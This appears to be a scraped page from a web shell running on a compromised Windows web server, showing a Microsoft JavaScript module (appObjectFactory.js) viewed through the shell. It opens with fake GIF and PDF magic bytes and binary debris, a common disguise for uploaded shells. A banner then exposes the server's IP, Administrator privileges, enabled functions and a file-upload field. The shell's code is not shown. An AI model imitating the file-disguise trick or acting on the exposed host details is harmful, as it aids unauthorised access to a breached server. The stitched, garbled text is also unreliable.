GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /Windows/SystemApps/Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy/js/ |
Upload File : |
// // Copyright (C) Microsoft. All rights reserved. // if ((typeof define === "function") && define.amd) { define(function () { return AppObjectFactory.getInstance(); }); } class AppObjectFactory { constructor() { // This enables swapping out the default implementation with custom implementations. // Set to false by default for production code. Please set this to true from your Unit Test/when running F5 deploy. this.enableSwap = false; this.registered = {}; } // This ensures that both amd and non-amd code share the same singleton instance of AppObjectFactory static getInstance() { if (AppObjectFactory._instance === null) { AppObjectFactory._instance = new AppObjectFactory(); } return AppObjectFactory._instance; } // This creates the lookup table for the registered objects (sample) registerModule(module, object) { // We register the valid Sample object in the map: // key : winrtclassname, value: sample class instance this.registered[module] = object; } getObjectFromString(className) { if (this.enableSwap && (className in this.registered)) { return this.registered[className]; } // No Sample implementation for this, return default class return this.getContextFromString(className); } getContextFromString(className) { let context = window; let arr = className.split("."); try { for (var i = 0, len = arr.length; i < len; i++) { context = context[arr[i]]; } } catch (error) { return null; } return context; } ; } AppObjectFactory._instance = null; //# sourceMappingURL=appObjectFactory.js.map